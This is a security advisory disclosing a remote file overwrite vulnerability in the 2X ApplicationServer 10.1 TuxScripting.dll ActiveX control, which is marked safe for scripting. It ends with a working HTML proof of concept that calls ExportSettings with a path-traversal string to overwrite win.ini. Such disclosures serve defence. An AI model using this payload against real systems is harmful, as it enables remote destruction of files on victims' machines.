2X Application Server version 10.x suffers from a TuxSystem class active-x control file overwrite involving TuxScripting.dll.
0ec15ada5f97ed20cc44237301fcfa9df7cde6ef19772eacaebffed8822def0e2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll
ExportSettings Remote File Overwrite Vulnerability
tested against: Microsoft Windows Server 2003 r2 sp2
Internet Explorer 8
vendor description:
"2X Software is a global leader of desktop and application delivery,
remote access and cloud computing solutions."
2x homepage: http://www.2x.com/
download url: http://www.2x.com/applicationserver/download/
file tested: 2XAppServer.msi
Background:
The mentioned product installs an ActiveX control with
the following settings:
ProgID: TuxScripting.TuxSystem.1
CLSID: {5BD64392-DA66-4852-9715-CFBA98D25296}
Binary Path C:\Program Files\2X\ApplicationServer\TuxScripting.dll
Implements IObjectSafety: Yes
Safe for Scripting: True
Safe for Initialization: ?
According to the IObjectSafety interface this control is Safe for Scripting
then Internet Explorer will allow access to the availiable methods and
properties.
Vulnerability:
Two methods perform unsecure file operations (read/write):
...
/* DISPID=13 */
function ImportSettings(
/* VT_BSTR [8] */ $FileName
)
{
/* method ImportSettings */
}
/* DISPID=14 */
function ExportSettings(
/* VT_BSTR [8] */ $FileName
)
{
/* method ExportSettings */
}
...
by passing an existing file path to the ExportSettings() the
resulting file content will look like this:
<Setup xmlns:dt="urn:schemas-microsoft-com:datatypes"><Connection><CGW_FGWs dt:d
t="string"><Default></CGW_FGWs><CGW_HTTPs dt:dt="string"><Default></
CGW_HTTPs><CGW_IPs dt:dt="string">192.168.2.101:0</CGW_IPs><CGW_PUBs dt:dt="stri
ng"><Default></CGW_PUBs><Domain dt:dt="string">WORKGROUP/SERVER</Domain><I
D dt:dt="ui4">2</ID><LocalInst dt:dt="ui4">1</LocalInst><RanID dt:dt="ui4">12638
38571</RanID><SecLevAuth><ExcGWIPsLst dt:dt="string"><Default></ExcGWIPsLs
t></SecLevAuth><Server dt:dt="string">SERVER</Server></Connection><LoadBalancer>
<PersTime dt:dt="ui4">1279870543</PersTime><ServerIndex dt:dt="ui4">2</ServerInd
ex><VDIHosts><VDIHostsIndex dt:dt="ui4">2</VDIHostsIndex></VDIHosts><VDIHostsGro
up><VDIHostGroupIndex dt:dt="ui4">0</VDIHostGroupIndex></VDIHostsGroup></LoadBal
ancer><Product><Build dt:dt="ui4">1204</Build><Major dt:dt="ui4">10</Major><Mino
r dt:dt="ui4">1</Minor><Name dt:dt="string">VDS</Name></Product><Publishing><Out
putDir dt:dt="string">C:\Program Files\Internet Explorer\web\output</OutputDir><
WebPageTemplate dt:dt="string">C:\Program Files\Internet Explorer\web\2X_default
_style.xslt</WebPageTemplate></Publishing><Redundancy><BCtrls><BCtrl0001><ID dt:
dt="ui4">1</ID><Priority dt:dt="ui4">0</Priority><Server dt:dt="string">SERVER</
Server></BCtrl0001></BCtrls><IDCntr dt:dt="ui4">1</IDCntr><MasterServer dt:dt="s
tring">SERVER</MasterServer><SettingsCount dt:dt="ui4">1</SettingsCount><Setting
sID dt:dt="ui4">1326947769</SettingsID><SettingsTime dt:dt="ui4">1326947769</Set
tingsTime></Redundancy><Reporting><Rprtng2X><RprtSrv dt:dt="string"></RprtSrv></
Rprtng2X><RprtngEG><RprtSrv dt:dt="string"></RprtSrv></RprtngEG></Reporting></Se
tup>
If a remote attacker is able to take control of the file content, could also be
capable to run arbitrary code. At the time of this report, this could not be achieved yet
(I have experienced some unuseful crashes by calling ImportSettings() ...)
As attachment, proof of concept code which overwrites win.ini
POC:
<!--
2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll
Remote File Overwrite Vulnerability
ActiveX settings:
ProgID: TuxScripting.TuxSystem.1
CLSID: {5BD64392-DA66-4852-9715-CFBA98D25296}
Binary Path C:\Program Files\2X\ApplicationServer\TuxScripting.dll
Implements IObjectSafety: Yes
Safe for Scripting: True
Safe for Initialization: ?
-->
<!-- saved from url=(0014)about:internet -->
<html>
<script>
var obj = new ActiveXObject("TuxScripting.TuxSystem.1");
obj.ExportSettings("../../../../../../../../windows/win.ini");
</script>
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